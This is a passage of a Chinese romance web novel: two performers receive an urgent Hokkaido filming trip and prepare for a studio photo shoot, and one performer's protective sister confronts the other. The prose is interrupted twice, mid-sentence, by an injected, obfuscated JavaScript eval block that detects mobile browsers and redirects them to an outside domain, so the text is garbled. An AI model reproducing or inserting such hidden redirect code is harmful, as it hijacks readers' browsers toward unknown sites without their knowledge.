她睁开眼,目光没有焦点地落在天花板上。鼻腔里萦绕着星野刚刚使用的、某种带着果甜味的洗发水香气,混合着浴室飘来的湿润水汽,正慢慢渗透进客厅干燥的空气里。这味道与她身上惯有的、更偏清冷的雪松气息不同,带着一种温暖的侵入感,悄无声息地侵占着这个原本属于她一个人的空间。 星野夜海…林光在心底默念这个名字。像一颗突然闯入轨道的、过于明亮活跃的小行星,带着她无法理解的热情、直白、以及刚刚经历情伤的脆弱,不由分说地打破了她的平静。照顾醉鬼、水族馆、面对经纪人、应付朋友们的盘问、还有此刻这突如其来的同居生活……一切都发生得太快,让她有些应接不暇。 她并不是讨厌这种…热闹。只是习惯了一个人消化情绪,习惯用秩序和距离来构建安全感。星野的种种,对她而言,有点过于…鲜活和密集。 就在她的思绪有些飘远之时,放在身旁的手机屏幕突然亮了起来,发出一声清脆的邮件提示音,在这静谧的空间里显得格外突兀。几乎同时,星野房间里也隐约传来一声类似的提示音。 林光拿起手机,屏幕的光亮在昏暗环境中有些刺眼。发件人赫然是“山倉幸子”。 她微微蹙眉,这个时间点的工作邮件…通常意味着突发情况。 还没来得及点开细看,手机便直接在她手中震动起来,屏幕上跳跃的正是“山倉幸子”的名字。 林光立刻坐直身体,清了清嗓子,接通电话:“晚上好,山倉小姐。” “井上小姐,晚上好。抱歉这么晚打扰。”电话那头传来经纪人干练而语速稍快的声音,背景里似乎还有细微的键盘敲击声,显示对方仍在工作,“看到我刚刚发的邮件了吗?” “正在看,山倉小姐。”林光回答,同时快速滑动屏幕浏览邮件标题和开头几句。 “嗯。长话短说,一个原本定于新年后的北海道士網走市的旅游推广项目提前了,很突然。我们需要你们明天下午就出发,27号到29号,拍摄一个冬季旅游宣传短片。”幸子小姐的语气清晰果断,不容置疑。 “明天下午?”林光确认道,这个时间点确实非常紧急。 “对。原本的合作方和电视台档期有变,临时空出窗口期,对方很看好星野目前…呃,颇具话题度的形象,认为与冬季‘治愈’、‘重启’的主题有微妙契合点,点名希望由她来主导。机会难得,预算也充足,对我们重塑她的公众形象、展示积极健康的户外面貌很有帮助。”幸子小姐顿了顿,语气放缓了些,带上了一丝不易察觉的安抚,“而且,换个环境,远离东京的纷扰,对她恢复状态也有好处。所以虽然紧急,但我还是接下了。我相信你能处理好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403827|184388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我明白了。”林光应道,她的目光下意识地瞟向浴室方向,水声还在持续。她快速消化着信息:北海道、網走、冬季、紧急行程。 “具体的行程、机票信息、当地对接人都在邮件里了。明天上午的公式照拍摄照常,结束后我会让保姆车直接送你们去羽田机场。助理在机场等你们,到时候会有工作人员把登机牌和托运的行李标签给你们。可以的话防寒衣物务必带足,我也会为你们准备一些,網走现在温度极低,尤其是要拍摄看流冰的场景,体感温度会更冷。还有什么问题吗?” “暂时没有,我们会准备好。”林光的声音恢复了平时的冷静。 “好。那就这样。让星野也别太有压力,就当是一次工作旅行。明天见。”幸子小姐雷厉风行地交代完,便结束了通话。 电话挂断,客厅里重新被淅沥的水声和寂静填满。林光放下手机,身体微微向后靠回沙发,消化着这个突如其来的消息。 北海道…網走…她脑海里闪过冰封的海岸线、流冰、凛冽的空气……与东京的繁华截然不同的景象。这确实是个意外的安排,但或许…也不错。离开熟悉的环境,或许能让她和星野之间这种略显微妙的新室友关系找到一个更自然的相处节奏。 她听到浴室水声停了。过了一会儿,星野擦着头发,穿着舒适的居家服,带着一身温热湿润的水汽和更浓郁的果甜香气走了出来,脸上带着沐浴后的放松红晕。 “小光,刚刚是不是我的手机也响了?好像是幸子小姐?”星野一边问着,一边拿起自己放在茶几上的手机。 “嗯。”林光点点头,看着她,“有个紧急的工作安排。幸子小姐刚来的电话,让我们明天下午去北海道網走,拍一个旅游宣传片。” 星野解锁手机的动作顿住了,惊讶地抬起头:“诶?!北海道……網走?明天下午就出发?”她瞪大了眼睛,似乎还在消化这个突如其来的消息。但很快,那丝惊讶被一种跃跃欲试的期待所取代,眼眸亮了起来,“流冰……我还没看过冬天的流冰呢!期待的出差旅行提前了吗?”旅行和新鲜事物总能轻易点燃她的兴趣,暂时覆盖掉那些积压的负面情绪。 “嗯,我们29号返回东京。”林光确认道,看到星野眼中亮起的光,心里那一点点因为行程匆忙而产生的躁动也似乎平复了些,“看来明天上午的公式照拍摄结束后,时间会很紧张。”她站起身,“抓紧时间休息吧,前辈。记得检查一下有没有足够的防寒衣物,網走这个时候,温度非常低。”她再次强调了温度,语气里带着务实的关切。 “对哦!得收拾行李!”星野被提醒了,立刻放下毛巾,也顾不上仔细看邮件了,脚步轻快地往自己房间走,“我的羽绒服……保暖内衣……雪地靴……防寒帽……”她掰着手指数着,声音里带着忙碌的兴奋,渐渐消失在房门后。 林光看着她的背影,轻轻摇了摇头,似乎对星野这种情绪转换速度有些无奈,却又觉得在意料之中。她没有立刻回房,而是重新拿起手机,仔细阅读幸子小姐发来的邮件附件,开始在心里默默规划明天的行程和需要准备的物品。 窗外是东京璀璨的不夜城景象,灯火绵延至远方。窗内,两个房间的门缝下都透出了光亮,一个伴随着哼歌和翻找衣物的细碎声响,另一个则安静地闪烁着屏幕的微光,共同为一场突如其来的、前往北海道的冬日之旅酝酿着默契的期待。 15. 北海道之行(2) 窗外东京的璀璨灯火渐渐被熹微的晨光取代,但公寓内却并非自然醒的宁静。 刺耳的闹铃声如同冰冷的警笛,骤然划破主卧的寂静。星野夜海几乎是惊叫着从床上弹起,手忙脚乱地按掉手机,心脏砰砰直跳。她只感觉眼皮沉重得像灌了铅,脑袋里也仿佛塞了一团模糊的棉花,昨晚酒精、情绪波动和深夜谈话的消耗殆尽的精力此刻依旧是尚未补足的状态。 另一边,客卧的林光则是在闹钟响起前一刻便已睁开眼。她的作息向来规律,即使昨晚睡得晚,生物钟依旧让她在预定时间自然清醒。只是眼底淡淡的青黑泄露了睡眠不足的事实。她没有丝毫拖延,立刻起身,动作或许比平日稍慢半拍,但依旧条理清晰。 当星野顶着一头乱糟糟的卷发,眯着眼、脚步虚浮地晃出卧室时,林光已经洗漱完毕,正站在厨房一手上下摆弄着茶包,试图加快茶叶浸出的速。 “早……”星野的声音沙哑,有气无力地打了个哈欠,眼角挤出两滴生理性泪水。她几乎是摸着墙壁走到餐桌旁,瘫坐在椅子上。 “早。”林光的声音听起来还算清醒。她递过来一杯刚刚冲好的红茶,杯沿热气袅袅,“趁热喝,幸子小姐发的行程表看了吗?我们时间很紧。” 星野接过咖啡,烫手的温度让她稍微清醒了一点。她猛地想起昨晚那个突如其来的北海道任务,立刻抓起手机翻看邮件。“天哪……下午一点的飞机?公式照拍摄是九点开始……那我们……”她快速心算着时间,脸色微微发白。 “所以得快。”林光言简意赅。她已经迅速解决了自己的早餐——一杯热红茶和一个便利店三明治。同时,她将一个酥脆的可颂推到星野面前,“车上吃。化妆和做发型会很花时间,我们最好半小时内出发。” 星野看着眼前的可颂,又看看林光已经收拾妥当、甚至连随身背包和行李箱都放好在玄关的样子,瞬间感受到了巨大的时间压力。她赶紧灌了一大口茶水,带着醇香的苦涩液体刺激着味蕾和神经,然后认命地拿起三明治,一边小口快速地吃着,一边冲回房间:“我马上好!五分钟!不,三分钟!” 接下来的半小时,公寓里充满了匆忙却不完全混乱的气息。星野房间的门开开关关,伴随着她翻找衣物、低声嘀咕“我那对耳环呢”。林光则快速检查着自己的证件、钱包和手机充电器,并将星野匆忙间扔在沙发上的围巾叠好塞进她的通勤包里。 当门铃响起,助理准时出现在门口时,星野正好一边套着大衣一边从房间冲出来,嘴里还叼着没吃完的最后一点可颂。发型师和化妆师会在公司直接等她,所以她只是草草梳了头,用口罩遮住了自己素着的一张脸。 “走吧。”林光已经拎起自己的背包和行李箱,语气平静,仿佛刚才那个高效的半小时只是日常。 电梯下行时,星野对着光洁的轿厢壁整理着自己的衣领,试图压下那一缕不听话的头发,小声抱怨:“感觉才刚躺下没多久……” 林光从背包侧袋拿出一个独立包装的蒸汽眼罩,递给她,动作熟练得像重复了无数遍:“车上还可以敷一会儿。” 星野接过眼罩,感激地看了她一眼。此刻,这个沉默却周全的后辈,简直像混乱清晨里唯一的锚点。 保姆车平稳地汇入早高峰的车流。星野戴上眼罩,试图争分夺秒地弥补睡眠。林光则拿出手机,再次确认邮件里的行程表和注意事项,偶尔抬眼看看窗外缓慢移动的车龙,表情平静地喝上一口保温杯里的热茶,只是指尖在膝盖上无意识地轻轻敲击着鼓点,泄露了一丝并非全然的从容。 晨光透过车窗,照亮车内略显匆忙却又默契共生的氛围,载着她们驶向忙碌一天的起点——公司摄影棚的公式照拍摄。 保姆车驶入Collector事务所大楼的地下停车场,那熟悉的、混合着汽车尾气、清洁剂和淡淡香氛的空气扑面而来。电梯平稳上升,直达专门用于艺人造型和准备的楼层。 门一开,不同于公寓的静谧或车内的私密,高度组织化的忙碌气息瞬间包围了她们。走廊里灯光通明,两侧排列的化妆间门开合不断。工作人员推着挂满服装的移动衣架快步穿梭,通话声、敲门声、某间房里传出的吹风机嗡鸣声交织成一片,形成独特的后台交响乐。 一位等待已久的助理立刻迎上来:“星野小姐,您的化妆间在A3。井上小姐,乐队成员已经在B2区域准备了。”语气礼貌而高效。 “好的,谢谢。”星野点点头,下意识地看了一眼林光。林光也正看向她,目光平静,几不可察地微扬了一下下巴,示意她快去。没有多余的言语,两人便在走廊口自然分流,走向各自所属的领域。 星野被助理引进A3化妆间。房间不算极大,但光线明亮柔和,环绕着明星镜的化妆台上摆满了各式刷具、化妆品和发型产品,琳琅满目。空气里弥漫着粉底、定妆喷雾和高级护肤品的复合香气。 她的专属化妆师和发型师已经严阵以待。 “夜海酱,早上好!哦呀,看起来有点睡眠不足哦?”化妆师是一位性格开朗的女士,一眼就看出了星野的状态,语气带着熟稔的关切,但手上动作不停,已经利落地开始给她做妆前保湿和打底。 “早上好……昨晚看剧本有点晚。”星野含糊地解释,闭上眼,任由清凉的护肤品和轻柔的指腹在她脸上工作,工作借口永远好用。 “放心交给我们吧,保证让你焕然一新!”发型师笑着开始打理她的头发,梳子轻轻刮过头皮,带来一丝舒适的麻痒。 陷入柔软的化妆椅中,星野的心绪却难以完全平静。镜子里映出她略显苍白的脸和眼下淡淡的青影,化妆师正用遮瑕膏仔细地覆盖那些疲惫的痕迹。身体的倦怠是真实的,但更深的是一种微妙的悬浮感——从昨夜酒吧的喧嚣、水族馆的静谧、再到得知北海道任务的突然,以及此刻身处这熟悉又陌生的化妆间,准备进行一场目的明确的“营业”拍摄……一切都发生得太快,让她有种不真切的恍惚感。她即将要和那个看似冷淡、实则细心、身上藏着许多秘密的后辈,以一种被设计好的方式,捆绑在镜头前。星野顶着完美的妆容,穿上那身剪裁极佳的纯白西装,发型师将她栗色长发利落束起,露出完美的天鹅颈时,镜中映出的人影连她自己都微微怔忡。干练、帅气、一种前所未有的高雅与强大气场取代了平日的柔软或舞台的甜美。她深吸一口气,将那些私人的纷乱情绪彻底压入心底,戴上专业的面具。 另一边,林光走向音乐部常用的B2准备区。这里的氛围明显不同,更宽敞,更像一个开放的休息室混合着临时妆发点。墙上贴着各种乐队海报和演出通知,角落随意堆着几只乐器箱和效果器。林光坐在镜前,安静地配合化妆师打理。当几缕钴蓝色的挑染发片被精心嵌入她深色的短发间,冰凉的银色几何耳夹扣上耳垂,她换上简单的黑色背心和牛仔裤,一种不羁而锐利的摇滚气质便自然而然取代了平日的清冷疏离。这是她沉浸于音乐世界的盔甲,是她内在力量的外显。 乐队成员已经到的差不多了。 科迪正对着墙壁的镜子做各种夸张的表情,活动着脸部肌肉,看到他进来,立刻扬起一个大大的笑容:“光!早上好!听说我们要有新的‘合作伙伴’了?”他挤挤眼,语气里满是促狭。 遠山楓靠在沙发上调试着他的电吉他,连接着静音练习器,只有轻微的电子音溢出,听到科迪的话,只是懒懒地抬了下眼皮,算是打过招呼。 山口一之濑则乖巧地坐在化妆镜前,任由一位化妆师助理给他上一点底妆,看到林光,腼腆地笑了笑:“光姐,早。” 劉川已经快弄好了,她头发抓得蓬松有型,眼妆勾勒出她清亮又略带叛逆的眼神。她正低头玩手机,看到林光,立刻放下手机蹦过来:“姐!你来了!”她凑近林光,像小动物一样嗅了嗅,眉头微蹙,“你昨晚没睡好?又熬夜编曲了?还是……”她瞥了一眼A3化妆间的方向,压低声音,“……跟那位大明星前辈相处,压力很大?” 林光轻轻拍开她凑得太近的脑袋:“没有。只是有点赶。”她避重就轻,走到空着的化妆镜前坐下。专门的化妆师过来为她打理。 科迪凑过来,高大的身子倚在化妆台边,语气变得稍微正经了些:“说真的,光,星野前辈那边……我们前几天和经纪人吃饭的时候提了一下。这次的事情,确实挺麻烦的。她愿意这样合作,我们也得好好感谢她。”他虽然爱开玩笑,但心思并不坏,懂得圈内的规则与人情。 遠山楓拨弄了一下琴弦,发出一个短暂的滑音,头也不抬地说:“舞台之外的事情我们不管,但既然要合作,面上肯定会做好。”他的话一如既往的简洁直接,带着点酷劲,但也表明了配合的态度。 一之濑也小声附和:“嗯,星野前辈很厉害,能和她合作……是我们的荣幸。” 劉川听着他们的话,眨了眨眼,似乎才完全意识到这次“营业”的严肃性和对乐队潜在的好处。她看向林光,眼神里多了点好奇和探究:“姐,那你……没问题吧?我知道你不太喜欢这种……”她顿了顿,语气里带上了一丝不易察觉的担忧,“那段时间你打那么多份工,累得人都瘦脱形了,现在又要应付这些……” 林光透过镜子看了妹妹一眼,眼神温和却带着制止的意味:“我也想做些改变。”她轻轻摇头,示意她别再说下去。那些过往,她并不想多提,尤其是当着队友的面。“工作而已,我知道该怎么做。” 劉川撇撇嘴,没再追问,但眼神里的关切并未散去。她只是拿起一旁林光带来的鼓棒,把玩的同时,似乎是想起了什么一般突然笑了出来, “不过SNS上很多人骂,说我姐是在直女装姬。”只属于二人之间的中文交流,刘川的视线从鼓棒转移到林光的身上,十分期待她的反应, “哦?”林光的笑是下意识的,没能忍住第二声笑,她只好无奈地伸手挡住脸,“唉……让他们说吧。” 化妆师熟练地为林光上着妆,妆感比演艺部那边要自然许多,更贴合她音乐人的身份。林光安静地配合着,目光偶尔会掠过走廊的方向,想象着另一边星野此刻的状态。她知道星野正在经历什么,那种被迫将私事摊开、成为工作一部分的别扭感,她或多或少能理解一些。 巨大的摄影棚内,灯光炽烈如同白昼。 星野站在白光中心,按照指令精准地变换姿态。白色西装衬得她身姿愈发挺拔,高马尾划出利落的弧度。她的笑容明亮,眼神自信,每一个定格都无懈可击。只有在镜头之外的短暂间隙,那抹被极力隐藏的疲惫才会从眼底悄然溜走。 不远处的另一个区域,林光和她的乐队成员也在拍摄。当林光握住鼓棒,她的周身气场便自然沉淀下来。摄影师捕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409383|184388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捉她专注的侧脸、挥动鼓棒时流畅的手臂线条,以及那缕在她耳侧跳跃的、极其抢眼的蓝色发丝。她不需要过多表情,那份沉浸于节奏的专注感本身就是最好的语言。 一次拍摄转换背景的间隙,星野的目光下意识地追寻,落在了林光身上。 就那一眼,她的呼吸几不可察地顿了一下。 黑色背心勾勒出林光流畅而富有力量感的肩臂线条,那抹钴蓝在她发间如同暗夜冷焰般跳跃,银色耳夹折射出锐利的光芒。和平日里那个疏离的室友判若两人,这是一种带着攻击性和不羁魅力的、极具冲击力的美。几乎同时,林光也抬眼望了过来。她的目光落在星野那身白色西装和利落的高马尾上时,也停顿了一瞬。眼前的星野不再是那个印象中温暖偶尔脆弱的前辈,更像一位散发着高贵与自信魅力的俊美、干净、锐利,充满了强大的内在张力。 一阵难以言说的悸动在相视中应运而生,人流穿梭于二人的视线当中,下一秒星野再回看过去,捕捉到的只有林光重回专业的侧脸。一丝丝失落藏于星野的眼底, “非常好星野,就是这个情绪,再来一张!” 拍摄暂告一段落。星野松了口气,打算回化妆间补妆整理。她刚走进A3化妆间,对着镜子查看妆容,镜子里却映出了另一个身影——刘川不知何时也走了进来,姿态闲适地靠在门边的化妆台上。 “星野前辈,”刘川开口,声音带着恰到好处的礼貌,但眼底却没什么温度,“拍摄辛苦了。” 星野从镜子里看着她,心里微微一紧,但面上保持着微笑:“谢谢,刘川小姐也是。” 刘川的目光轻轻扫过星野的造型,语气自然却带着一丝不易察觉的审视:“前辈今天的状态真好,看来调整得很快。”她话锋微转,声音压低了些,更显得“推心置腹”,“不过,接下来要去那么冷的地方出差,我有些担心呢。” 她微微前倾,做出关切的样子:“我姐姐那个人啊,看着冷淡,其实心软,但又最怕麻烦。她自己的生活都总是凑合,根本不擅长照顾人,也更不喜欢别人麻烦她。”这句话她说得格外清晰,目光紧紧锁住镜中的星野,仿佛不只是在陈述,而是在划出一条明确的界限——“请不要成为她的麻烦”。 “所以,”刘川的脸上重新挂上无懈可击的甜美笑容,但话语里的意思却截然相反,“要是有什么不方便或者需要帮忙的地方,前辈千万别跟她客气,直接来找我就好。或者找助理也行,总之……别去打扰她就好。”她巧妙地将“不用客气”扭曲成了“别去找她”,其核心意图昭然若揭:将星野排除在林光的照顾范围之外,不希望星野在林光的世界里拥有“需要被特殊关照”的分量。 星野瞬间听懂了这层包裹在“善意”下的驱逐令。她转过身,正面看向刘川,脸上的笑容依旧完美,却多了一丝了然的意味。 “刘川小姐真是体贴。”星野的声音很温和,却带着一种不容置疑的肯定,“你的心意我领了。不过——” 她话锋一转,语气里带上了一点恰到好处的、混合着感激与些许不好意思的真诚,仿佛在说一件既成事实的小秘密:“关于‘照顾’这件事……说起来还真有点不好意思。我已经体会过井上小姐的‘贴心照料’了。” 她看到刘川的瞳孔几不可察地收缩了一下,继续用轻快而自然的语气说道,仿佛没看到对方细微的变化:“昨天我有点不舒服,她又是准备蜂蜜水,又是惦记着早上温粥留纸条,细心周到得让我都惊讶了。”她笑着轻轻摇头,像是在感慨自己的后知后觉,“所以,‘不擅长’、‘不喜欢’什么的……看来我们对井上小姐的了解,好像有点不一样呢?” 星野这番话,如同四两拨千斤。她没有否认刘川的话,而是用一个已经发生的、无法改变的事实,温柔却坚定地反驳了刘川试图建立的“规则”。 你不想让她照顾我,但她已经这么做了。你所说的“不擅长”和“不喜欢”,在我这里并不成立。 刘川脸上的笑容彻底淡了下去,那层甜美的面具几乎难以维持。星野的话像一根细针,精准地刺中了她最在意的地方。她看着星野,眼神里不再是探究,而是带上了一种更深沉的、冰冷的审视。 “……是吗?”她最终只吐出这两个字,声音比刚才低沉了些,“那看来,是我多事了。” 她没有再看星野,也没有再多说一个字,只是面无表情地直起身,转身离开了化妆间。那扇门在她身后轻轻合上,隔绝了所有情绪,却留下了一室更加冰冷的空气和无声的、骤然升级的对抗张力。 星野看着关上的门,缓缓松了口气,这才发现手心微微汗湿。这一回合,她勉强算是挡住了。 而不远处,林光只是安静地看着刘川从星野的化妆间方向离开,又看到星野随后走出来时脸上那一闪而过的、未被完全掩饰好的嘴角的紧绷。她什么也没问,只是微微蹙了下眉。 之后的工作中,当刘川又习惯性地想凑近林光时,林光抬起眼,目光平静却带着一丝不易察觉的冷意,看了她一眼。 就那么一眼,没有责备,没有质问,却让刘川即将说出口的话卡在了喉咙里。她太熟悉姐姐这种冷冰冰的眼神了。刘川撇撇嘴,把话咽了回去,讪讪地走开了。 摄影棚内的灯光依旧炽热,快门声不断响起,将精心雕琢的完美形象定格于胶片之上。